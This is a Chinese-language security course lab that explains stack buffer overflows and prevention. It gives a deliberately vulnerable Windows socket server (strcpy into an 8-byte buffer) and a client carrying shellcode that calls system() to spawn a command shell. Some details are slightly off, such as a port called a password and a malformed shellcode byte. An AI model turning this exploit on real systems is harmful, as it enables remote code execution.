緩沖區溢出攻擊實驗


視頻鏈接:https://drive.google.com/open?id=1gtUlztkKCP2Oy42mdtkS3WAdgsWCNJHF

課程編寫

類別

內容

實驗課題名稱

緩沖區溢出攻擊實驗

實驗目的與要求

通過實驗掌握緩沖區溢出的原理,通過使用緩沖區溢出攻擊軟件模擬入侵遠程主機理解緩沖區溢出危害性,

並理解防范和避免緩沖區溢出攻擊的措施。

實驗環境

VPC1(虛擬PC)

操作系統類型:Windows XP

網絡接口:本地連接

VPC1連接要求

PC網絡接口,本地連接與實驗網絡直連

軟件描述

學生機要求安裝Java環境

PC1安裝VC6.0

實驗環境描述

學生機與實驗室網絡直連
VPC1與實驗室網絡直連
學生機與VPC1物理鏈路連通

預備知識

緩沖區溢出(Buffer Overflow)

是目前非常普遍而且危險性非常高的漏洞,在各種操作系統和應用軟件中廣泛存在。

利用緩沖區溢出攻擊,可以使遠程主機出現程序運行錯誤、系統死機或者重啟等異常現象,它甚至可以被黑客利用,

在沒有任何系統帳戶的條件下獲得系統最高控制權,進而進行各種非法操作。

緩沖區溢出的原理很簡單,類似於把水倒入杯子中,而杯子容量有限,如果倒入水的量超過杯子的容量,水就會溢出來。

緩沖區是一塊用於存放數據的臨時內存空間,它的長度事先已經被程序或者操作系統定義好。緩沖區類似於一個杯子,

寫入的數據類似於倒入的水。緩沖區溢出就是將長度超過緩沖區大小的數據寫入程序的緩沖區,

造成緩沖區的溢出,從而破壞程序的堆棧,使程序轉而執行其他指令。

例如:

#include <stdio.h>

main()

{

char string[8];

gets(string);

printf("string is %s\n", string);

}

在UNIX系統中對C函數處理時,系統會為其分配一段內存區間,其中用於函數調用的區域為堆棧區,

保存了函數調用過程中的返回地址、

棧頂和棧底信息,以及局部變量和函數的參數。上述main函數執行時,上述信息按照參數、

ret(返回地址)和EBP(棧底)

的順序依次壓入其堆棧區中,然后根據所調用的局部變量再在堆棧中開辟一塊相應的空間,

這個內存空間被申請占用的過程是從

內存高地址空間向低地址空間的延伸。為局部變量在堆棧中預留的空間在填入局部變量時,

其填入的順序是從低地址內存空間向

高地址內存空間依次進行。函數執行完后,局部變量占用的內存空間將被丟棄,並根據EBP

和ret地址,恢復到調用函數原有地

址空間繼續執行。當字符處理函數沒有對局部變量進行越界監視和限制時,就存在局部變量

寫越界,覆蓋了高地址內存空間中ret、

EBP的信息,造成緩沖區溢出。

對於上述main()函數,由於沒有參數,系統首先將main函數的ret和EBP寫入堆棧,

然后根據string[8]字符數組的大小,

堆棧再擴展8個字節的空間用於存放sting[]數組中的局部變量。當執行gets()函數將

局部變量例如AAAA寫入string[]數組時

,字符串AAAA會先填入內存的低地址空間,如下圖所示,然后再是高地址空間。

堆棧中內存的分配以4字節為單位,

如果gets()函數執行時輸入的字符串為AAAAAAAAAAAAAAAA,按照上述填入順序,

原有ret和EBP的內存空間將會被字符串A覆蓋。

當main函數返回時,再從原ret處獲取調用函數返回地址時,就會把AAAA對應的

十六進制ASCII碼0x41414141作為返回地址,

使CPU試圖執行0x41414141處的指令,由於0x41414141不是一個正常的內存空間地址,

就會發生緩沖區溢出。

發生溢出時,如果用一個實際存在的指令地址來覆蓋被調用函數的返回地址,則系統就會

轉而執行這個指令,這一點就是緩沖區溢出被用

來進行攻擊的最關鍵之處。在UNIX系統中,由於相同shell環境下,程序的堆棧地址信息是

相同的,所以只要調試后找到這個堆棧地址,

就可以在發生溢出時轉而執行這個事先設定的程序了。並且,如果發生溢出的源程序具有

管理員權限,則替換后的程序也擁有相同的管理員權限。

引起緩沖區溢出的問題主要原因是C和C++本質就是不安全的(Java和C#就相對安全許多)

沒有邊界來檢查數據和指針的引用。

而軟件開發人員經常忽略檢查邊界,這就會有緩沖區溢出的風險。標准C庫中還存在

許多非安全字符串的操作,

包括strcpy()、sprintf()、gets()、strcat、scanf、vscanf等。為了防止緩沖區溢出的

發生,編程人員需要對這些存在緩沖區

溢出問題的函數予以關注,增加邊界限制,編寫正確的代碼,或者改用沒有問題的函數,

例如strncpy()、strncat()、snprintf()等。

實驗內容

簡單的緩沖區溢出實驗

實驗步驟

1、打開控制台。

學生單擊“試驗環境試驗”進入實驗場景,單擊L005001001xp01_1中的“打開控制台”按鈕,進入目標主機。

 

圖1

2、找到桌面上的Microsoft Visual C++ 6.0,雙擊打開。

 

圖2

3、新建一個C++ Source File,文件名為server,作為服務器。

 

圖3

4、輸入以下的代碼,並編譯構建。圖4可以看出,程序沒有錯誤。

 

圖4

#include <stdio.h>

#include <stdlib.h>

#include <WINSOCK2.H>

#pragma comment (lib, "WS2_32")

void showcontent(char *buff);

int main(int argc, char **argv)

{

       WSADATA wsaData;

       if( WSAStartup(0x101, &wsaData) != 0 )

       {

   printf("Failed Initialization.\n");

   return 0;

       }

      

       if(argc!=2)

       {

   printf("Usage: server.exe [port]\n");

   return 0;

       }

      

       int port = atoi(argv[1]);

       SOCKET sListen = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

       if (sListen == INVALID_SOCKET)

       {

   printf("Failed socket()\n");

   return 0;

       }

      

       sockaddr_in sin;

       sin.sin_family = AF_INET;

       sin.sin_port = htons(port);

       sin.sin_addr.S_un.S_addr = INADDR_ANY;

      

      

       if (::bind(sListen, (LPSOCKADDR)&sin, sizeof(sin)) == SOCKET_ERROR)

       {

   printf("Failed bind()\n");

   return 0;

       }

      

      

       if (::listen(sListen, 2) == SOCKET_ERROR)

       {

   printf("Failed listen()\n");

   return 0;

       }

      

      

       sockaddr_in remoteAddr;

       int nAddrLen = sizeof(remoteAddr);

       SOCKET sClient;

       char szText[] = "TCP Server is Connected!\n\n";

       char buff[1024] = {0};

       char toSend[1024] = {0};

      

      

       while (TRUE)

       {

   sClient = ::accept(sListen, (SOCKADDR*)&remoteAddr, &nAddrLen);

   if (sClient == INVALID_SOCKET)

   {

          printf("Failed accept()\n");

          continue;

   }

  

   printf("Somebody is connecting: %s\n", inet_ntoa(remoteAddr.sin_addr));

   ::send(sClient, szText, strlen(szText), 0);

  

  

   int nRecv = ::recv(sClient, buff, sizeof(buff), 0);

   if (nRecv > 0)

   {

          buff[nRecv] = '\0';

          ::closesocket(sClient);

          break;

   }

       }

      

      

       ::closesocket(sListen);

       showcontent(buff);

       return 0;

}

 

 

void showcontent(char *buff)

{

       char content[8];

       strcpy(content, buff);

       printf("%s", content);

}

 

5、運行程序,可以看見有server.exe應用程序,[port]是口令。

 

圖5

6、再新建一個C++ Source File,文件名為Client,作為客戶端。

 

圖6

7、輸入以下的代碼,並編譯構建。圖7可以看出,程序沒有錯誤。

 

圖7

#include <stdio.h> 

#include <stdlib.h>

#include <WINSOCK2.H>

#pragma comment (lib, "WS2_32")

 

int main(int argc, char* *argv)

{

       WSADATA wsaData;

       if( WSAStartup(0x101, &wsaData) != 0 )

       {

   printf("Failed Initialization.\n");

   return 0;

       }

      

       if(argc!=3)

       {

   printf("Usage: client.exe [Server_IP] [port]\n");

   return 0;

       }

      

       int port = atoi(argv[2]);

       SOCKET s = ::socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

      

       if(s == INVALID_SOCKET)

       {

   printf("Failed socket()\n");

   return 0;

       }

      

       sockaddr_in servAddr;

       servAddr.sin_family = AF_INET;

       servAddr.sin_port = htons(port);

       servAddr.sin_addr.S_un.S_addr = inet_addr(argv[1]);

      

       if(::connect(s, (sockaddr *)&servAddr, sizeof(servAddr)) == -1)

       {

   printf("Failed connect()\n");

   return 0;

       }

      

       char buff[1024];

       int nRev = ::recv(s, buff, sizeof(buff), 0);

       if (nRev > 0)

       {

   buff[nRev] = '\0';

   printf("Received: %s", buff);

       }

      

      

       char toSend[] =

   "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"

   "\x12\x45\xfa\x7f"

   "\x55\x8b\xec"

   "\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53\xc6\x45"

   "\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6"

   "\x45\xfa\x2e\xc6\x45\xfb\x44\xc6\x45\xfc\x4c\xc6"

   "\x45\xfd\x4c\xba"

   "\x80\x1d\x80\x7c"   //loadlibrarya

   "\x52\x8d\x45\xf4\x50\xf"

   "\xff\xd0";

      

         char toSend2[] =

         "\x41\x42\x43\x44"

   "\x45\x46\x47\x48"

   "\x12\x45\xfa\x7f"

   "\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

   "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"

   "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

   "\x9c\x3f\x88\x7c"   //loadlibrary地址0x7c883f9c

   "\x52\x8D\x45\xF4\x50"

   "\xFF\x55\xF0"

   "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"

 

   //command.

   "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"

   //      c   o   m

   "\x50\xB8"

   "\x7c\xbf\x93\x77"   //System地址0x77bf93c7

   "\xFF\xD0";

      

       send(s, toSend, strlen(toSend), 0);

       ::closesocket(s);

       return 0;

}

8、運行程序,可以看見有client.exe應用程序,[Server_IP]是服務器的IP地址,[port]是口令。

 

圖8

9、打開命令提示符,輸入“ipconfig”查看本機的IP地址,即為服務器的IP地址。如圖9,

這里的IP地址是192.168.1.126。

 

圖9

10、打開桌面上的Debug文件夾,找到其中的client.exe和server.exe。

 

圖10

 

圖11

11、復制server.exe和client.exe,將他們粘貼到“c:\windows\system32”目錄下。

 

圖12

12、打開命令提示符,找到“c:\windows\system32”目錄,並運行命令“server.exe 8888”來開啟server。

 

圖13

13、另外打開一個命令提示符,同樣找到“c:\windows\system32”目錄,運行命令

“client.exe 192.168.1.126 8888”來攻擊server。

 

圖14

14、點擊回車鍵后,可以看見一行提示“Received: TCP Server is Connected!”,

表明連接上了server。然后會彈出一個對話框,顯示server.exe遇到問題需要關閉,這表明server被攻擊並報錯了。

 

圖15

 

15、實驗結束,關閉實驗環境。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM